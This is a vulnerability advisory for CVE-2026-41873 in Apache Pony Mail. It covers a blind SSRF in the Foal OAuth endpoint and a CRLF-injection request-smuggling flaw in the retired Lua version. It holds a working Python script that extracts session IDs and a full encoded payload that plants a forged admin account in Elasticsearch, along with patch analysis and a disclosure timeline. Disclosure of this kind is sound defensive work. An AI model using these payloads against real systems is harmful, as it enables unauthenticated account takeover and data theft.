(CVE-2026-41873) Apache Pony Mail CRLF Injection and SSRF Leading to Full Account Takeover
CVE: CVE-2026-41873
Affected Versions: Apache Pony Mail (Lua implementation) - all versions (retired, no fix planned)
CVSS3.1: Critical
Summary
| Product | Apache Pony Mail (Lua implementation) |
|---|---|
| Vendor | Apache Software Foundation |
| Severity | Critical - an unauthenticated remote attacker can take over any account including administrator accounts |
| Affected Versions | Apache Pony Mail (Lua) - all versions (retired, no fix planned) |
| Tested Versions | Apache Pony Mail (Lua) - latest available version |
| CVE Identifier | CVE-2026-41873 |
| CVE Description | CRLF injection in Apache Pony Mail (Lua) email.lua allows an unauthenticated attacker to smuggle arbitrary HTTP requests to Elasticsearch, enabling full account takeover |
| CWE Classification(s) | CWE-444: Inconsistent Interpretation of HTTP Requests (‘HTTP Request/Response Smuggling’); CWE-918: Server-Side Request Forgery (SSRF) |
Apache Pony Mail Foal (Python) - Blind SSRF in OAuth Endpoint
Below is the report that we sent to Apache Security team on 10th July 2024.
Summary
A blind Server-Side Request Forgery vulnerability in Apache Pony Mail Foal allows an attacker to send limited crafted requests to the server, potentially resulting in unauthorized access to internal resources.
Product Overview
Apache Pony Mail Foal is a web-based mail archive browser built to scale to millions of archived messages with hundreds of requests per second. It allows you to browse, search, and interact with mailing lists including creating replies to mailing list threads. The project uses OAuth2 for authentication to allow viewing private lists, and uses ElasticSearch for storage and searching.
Vulnerability Summary
The OAuth2 endpoint allows users to specify an arbitrary URL in the oauth_token parameter, including internal URLs that are not normally accessible to the public. This allows for an attacker to send limited crafted POST requests to internal URLs, as well as GET requests if a URL that triggers a redirection is provided.
Vulnerability Details
The OAuth2 endpoint is provided by server/endpoints/oauth.py:
async def process(
server: plugins.server.BaseServer, session: plugins.session.SessionObject, indata: dict,
) -> typing.Union[dict, aiohttp.web.Response]:
debug(server, f"oauth/indata: {indata}")
key = indata.get("key", "")
state = indata.get("state")
code = indata.get("code")
id_token = indata.get("id_token")
oauth_token = indata.get("oauth_token")
rv: typing.Optional[dict] = None
# Google OAuth - currently fetches email address only
if key == "google" and id_token and server.config.oauth.google_client_id:
rv = await plugins.oauthGoogle.process(indata, session, server)
# GitHub OAuth - Fetches name and email
elif key == "github" and code and server.config.oauth.github_client_id:
rv = await plugins.oauthGithub.process(indata, session, server)
# Generic OAuth handler, only one we support for now. Works with ASF OAuth.
elif state and code and oauth_token:
rv = await plugins.oauthGeneric.process(indata, session, server)
if rv:
# [...]
return {"okay": False, "message": "Could not process OAuth login!"}
As can be seen from the code, if the key provided is not google or github, the oAuthGeneric plugin is called. The code for this is in server/plugins/oauthGeneric.py:
async def process(formdata: dict, _session, _server) -> typing.Optional[dict]:
# Extract domain, allowing for :port
# Does not handle user/password prefix etc
m = re.match(r"https?://([^/:]+)(?::\d+)?/", formdata["oauth_token"])
if m:
oauth_domain = m.group(1)
headers = {"User-Agent": "Pony Mail OAuth Agent/0.1"}
# This is a synchronous process, so we offload it to an async runner in order to let the main loop continue.
async with aiohttp.client.request("POST", formdata["oauth_token"], headers=headers, data=formdata) as rv:
js = await rv.json() # [1]
js["oauth_domain"] = oauth_domain
return js
return None
The oauth_token parameter is used to make a POST request to the URL provided, which may be an internal URL. As long as the request contains the mandatory parameters (key, state, code and oauth_token), the server will make the request to the URL provided in the oauth_token parameter, including any other additional parameters provided in the POST data. While the response is not returned to the user, the attacker can still use this to trigger actions on the server, with the impact depending on which services are present on the internal network (see https://github.com/assetnote/blind-ssrf-chains for examples of potential exploitation scenarios).
Additionally, in our research, we discovered that if a URL that triggers a redirection is provided in the oauth_token parameter, the server will follow the redirection and make a GET request to the final URL. This can be used make GET requests to internal URLs in addition to POST requests and expands the attack surface. We found in particular that if the attacker knows the URL of the Elasticsearch instance used to store session data, it is possible to make repeated requests to the server to extract valid session identifiers through inference techniques (akin to a blind SQL injection attack), which can then be used to access the server as an authenticated user.
Proof-of-Concept
Our proof-of-concept assumes that there is an Elasticsearch server at localhost:9200 that is only accessible from the server running Pony Mail and is used to store data including session identifiers. Our exploit makes use of the following behaviour of Elasticsearch:
- It is possible to send GET requests of the form
http://localhost:9200/_sql?source_content_type=application/json&source={"query":"SQL_QUERY"}&format=txtto the SQL server and get a response with atext/htmlcontent type - If the SQL query causes an error, the response will have an
application/jsoncontent type and will send an error message in JSON format
Pony Mail’s OAuth2 endpoint will simply return a 200 OK response with the message “Could not process OAuth login!” if the request is successful and contains JSON data, but will return a 500 Internal Server Error if the request returns non-JSON data (caused by the failure of the rv.json() call at [1] above). Thus, we can send requests with the oauth_token parameter set to:
http://REDIRECTOR-SERVER/redirect?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{"query"%3A"select cast(cookie as timestamp) from \\"ponymail-session\\" where cookie like 'a%'"}%26format%3dtxt
The redirector server is necessary in order to cause Ponymail to make a GET request to the Elasticsearch server instead of a POST request. If there is a cookie that starts with ‘a’ in the ponymail-session index, Elasticsearch will error out upon attempting to cast it to a timestamp, and return a JSON response to Pony Mail, causing Pony Mail to return a 200 OK. If there is no such cookie, Elasticsearch will return a 200 OK with a text/html content type (since it does not attempt to perform the conversion and thus no error occurs), causing Pony Mail to return a 500 Internal Server Error upon attempting to decode a non-JSON response. By sending multiple requests with different starting characters, we can determine the session identifier one character at a time. This attack is implemented in the script below, which assumes the existence of the Elasticsearch server at localhost:9200 and uses httpbin to perform redirects:
import requests
def exfil(session_id, target):
ORIG_POST_DATA = {
"key": "user",
"state": "z",
"code": "z",
"oauth_token": "https://httpbin.org/redirect-to?url=http%3a//localhost%3a9200/_sql%3fsource_content_type%3dapplication/json%26source%3d{%2522query%2522%253A%2522select%2520cast(cookie%2520as%2520timestamp)%2520from%2520%5C%2522ponymail-session%5C%2522%2520where%2520cookie%2520like%2520%2527__INJECTION__%2525%2527%2522}%26format%3dtxt"
}
POST_URL = "/api/oauth.json"
POST_DATA = ORIG_POST_DATA.copy()
POST_DATA["oauth_token"] = POST_DATA["oauth_token"].replace("__INJECTION__", session_id)
res = requests.post(target + POST_URL, json=POST_DATA)
if res.status_code == 500:
return False
return True
def main():
TARGET = "http://localhost:1080"
session_id = ""
for i in range(36):
for c in "0123456789abcdef-":
if exfil(session_id + c, TARGET):
session_id += c
print("Session ID: " + session_id)
break
if __name__ == "__main__":
main()
To recreate this exploit, set up a Docker instance of Pony Mail Foal using the instructions at https://github.com/apache/incubator-ponymail-foal/blob/master/DOCKER.md, and log in at least once in order to create a session in the database. Then, run the script above to extract the session identifier.

Once extracted, the attacker can set his cookie to the extracted session ID and use it to impersonate the authenticated user. Similar techniques can be used to obtain data from other indices in the Elasticsearch server, or to make requests to other internal services.
Suggested Mitigations
Follow the recommended guidelines to prevent the OAuth endpoint from making requests to internal URLs/IP addresses: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
Patch Analysis
The patch on the Foal implementation (commit 5a708d2) fully mitigates the SSRF vulnerability through two changes: removing OAuth URLs from the client side, and removing user-supplied URL acceptance on the server side.
OAuth URLs Removed from Client-Side Configuration
In the vulnerable version, config.js exposed the token exchange URL directly in the browser:
var pm_config = {
oauth: {
github: {
oauth_url: "https://github.com/login/oauth/access_token",
client_id: 'your.github.app.id.here',
}
}
}
oauth.js read this URL and sent it to the backend as a parameter:
GetAsync("/api/oauth.lua?" + args + "&oauth_token=" + pm_config.oauth[key].oauth_url, ...)
In the patched version, OAuth URLs are stored server-side in ponymail.yaml. Sensitive keys are prefixed with . and stripped before sending to the browser by preferences.py:
oauth:
providers:
github:
.oauth_url: "https://github.com/login/oauth/access_token"
.client_secret: "abc123"
client_id: "your_client_id"
prefs['oauth'] = { provider: { k:v for k,v in entry.items() if not k.startswith('.') }
for provider, entry in server.config.oauth.providers.items() }
The browser now only receives public-facing fields (client_id), never the token exchange URL. oauth.js no longer appends any URL:
GetAsync(G_apiURL + "api/oauth.lua?" + args, {}, parseOauthResponse)
User-Supplied URL Parameter Removed from Backend
In the vulnerable version, oauth.py read oauth_token from the request and oauthGeneric.py fetched whatever URL it contained:
oauth_token = indata.get("oauth_token")
elif state and code and oauth_token:
rv = await plugins.oauthGeneric.process(indata, session, server)
async with aiohttp.client.request("POST", formdata["oauth_token"], ...) as rv:
In the patched version, oauth.py no longer reads oauth_token from the request. oauthGeneric.py reads the URL from server config instead:
elif state and code:
rv = await plugins.oauthGeneric.process(indata, session, server)
provider = formdata["key"]
oauth_url = server.config.oauth.providers.get(provider).get('.oauth_url')
async with aiohttp.client.request("POST", oauth_url, ...) as rv:
Both changes work together where the frontend no longer exposes or sends the token exchange URL, and the backend no longer accepts it as user input. There is no remaining code path through which an attacker can influence the URL the server fetches.
Legacy Lua Implementation Analysis
The legacy Lua implementation is affected by two confirmed vulnerabilities. The first is an SSRF in oauth.lua that is constrained to outbound HTTPS requests due to protocol limitations. The second is a CRLF injection in email.lua that chains into HTTP request smuggling against the Elasticsearch instance, allowing an unauthenticated attacker to forge an admin account by writing arbitrary documents to the datastore.
SSRF via oauth.lua (Constrained)
The OAuth handler accepts oauth_token directly from URL parameters and passes it to ssl.https with no validation:
elseif get.state and get.code and get.oauth_token then
oauth_domain = get.oauth_token:match("https?://(.-)/")
local result = https.request(get.oauth_token, r.args)
Pointing oauth_token at a webhook endpoint confirmed the server makes an outbound POST from its own IP (129.126.109.177) with User-Agent: LuaSocket 3.0.0:

Impact is constrained as ssl.https only supports https:// and does not follow redirects, so reaching internal HTTP services is not possible. The vulnerability is limited to forcing outbound HTTPS requests to arbitrary external endpoints.
SSRF via email.lua - CRLF Injection to Elasticsearch Request Smuggling
The id parameter is passed with minimal sanitization into internal Elasticsearch HTTP requests. Because Elasticsearch runs on the same host and LuaSocket writes raw bytes to the TCP socket, injecting CRLF sequences (%0d%0a) allows an attacker to terminate the original request and smuggle arbitrary HTTP requests into the stream.
Vulnerable Code Flow
In email.lua, only double quotes are escaped:
local eid = (get.id or ""):gsub('"', '%%22')
local doc = elastic.get("mbox", eid, true)
elastic.get in elastic.lua concatenates this directly into a URL and passes it to performRequest, which opens a TCP socket to Elasticsearch and writes the raw HTTP request:
local function getDoc(ty, id, ok404)
local url = config.es_url .. ty .. "/" .. id
local json, status = performRequest(url, nil, ok404)
If the attacker supplies %0d%0a sequences in the id parameter, they are decoded into literal CRLF bytes. This terminates the original GET and causes Elasticsearch to parse whatever follows as a new, attacker-controlled HTTP request. The exploit succeeds silently as email.lua never validates the internal response. It simply falls through its search logic, finds nothing, and returns a 200 with a generic error while the smuggled request has already executed server-side:
if not doc or not doc.mid then
doc = nil
local docs = elastic.find("message-id:\"" .. r:escape(eid) .. "\"", 1, "mbox")
if #docs == 1 then doc = docs[1] end
if #docs == 0 and #eid == utils.SHORTENED_LINK_LEN then
docs = elastic.find("mid:" .. r:escape(eid) .. "*", 1, "mbox")
end
if #docs == 1 then doc = docs[1] end
end
...
r:puts(JSON.encode{error = "No such e-mail or you do not have access to it."})
return cross.OK
Exploit
The payload terminates the original GET and injects a POST that writes a forged admin account with a known session cookie.
Decoded (for readability):
GET /api/email.lua?id=aa? HTTP/1.1
POST /ponymail/account/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/_update HTTP/1.0
Content-Type: application/yaml
Content-Length: 144
---
doc:
credentials:
x: 1
internal:
cookie: '0000000000000000000000000000000000000001'
admin: true
doc_as_upsert: true
GET / HTTP/1.1
Host: 127.0.0.1
Actual payload (CRLF-encoded in query string):
GET /api/email.lua?id=aa%3f%20HTTP/1.1%0d%0a%0d%0aPOST%20/ponymail/account/a94a8fe5ccb19ba61c4c0873d391e987982fbbd3/_update%20HTTP/1.0%0d%0aContent-Type:%20application/yaml%0d%0aContent-Length:%20144%0d%0a%0d%0a---%0d%0adoc:%20%0d%0a%20%20credentials:%0d%0a%20%20%20%20x:%201%0d%0a%20%20internal:%20%0d%0a%20%20%20%20cookie:%20%270000000000000000000000000000000000000001%27%0d%0a%20%20%20%20admin:%20true%0d%0adoc_as_upsert:%20true%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: localhost:8080
The POST request uses HTTP/1.0 so that Elasticsearch closes the connection after processing it, as Connection: close is the default. The trailing GET request is included to ensure that headers automatically added by LuaSocket are handled separately. Without this, these headers would be appended to the end of the YAML payload and corrupt the document write operation.
Traffic Analysis
Traffic between Apache and Elasticsearch was captured on the container’s loopback interface via tcpdump and analyzed in Wireshark.
In Packet 4, Apache writes the smuggled payload as three HTTP requests sent in a single byte stream. Packet 6 contains the remainder of the YAML body. Packet 8 shows Elasticsearch’s 404 response to the first GET. The connection then closes with FIN packets.

Following the TCP stream confirms that Elasticsearch parses the byte stream sequentially. It responds to the first GET request with a 404, then processes the smuggled POST, which creates the forged admin account. Because the POST uses HTTP/1.0, Elasticsearch closes the connection after handling it, and only one response is returned to Apache. The side effect of the POST, namely the document write, has already been executed.

Querying Elasticsearch directly confirms the forged account:
{
"_id": "a94a8fe5ccb19ba61c4c0873d391e987982fbbd3",
"_source": {
"credentials": { "x": 1 },
"internal": {
"cookie": "0000000000000000000000000000000000000001",
"admin": true
}
}
}
Impact
An unauthenticated attacker can exploit the CRLF injection in email.lua to smuggle arbitrary HTTP requests to the Elasticsearch instance, bypassing all application-level authentication. The demonstrated PoC creates an admin account with a known session cookie, granting full administrative access. The same technique could be used to read, modify, or delete any data in Elasticsearch.
Credit
Li Jiantao and Tevel Sho of STAR Labs SG Pte. Ltd.
Timeline
- 2024-07-10 - Initial report sent to Apache Security Team
- 2024-07-10 - Apache Security Team acknowledges receipt
- 2024-07-22 - Follow-up sent requesting update
- 2024-07-23 - Apache Security Team responds asking for preferred credit
- 2024-10-29 - Asked again on the status but there was no reply
- 2024-11-01 - Asked again on the status and got no reply again
- 2026-02-12 - Apache Security Team replies; confirms Foal codebase patched; asks if Lua implementation is also affected
- 2026-03-25 - Replied confirming Lua implementation affected by SSRF in
oauth.luaand CRLF injection inemail.lua - 2026-04-22 - CVE-2026-41873 assigned
- 2026-04-28 - Public disclosure at CVE-2026-41873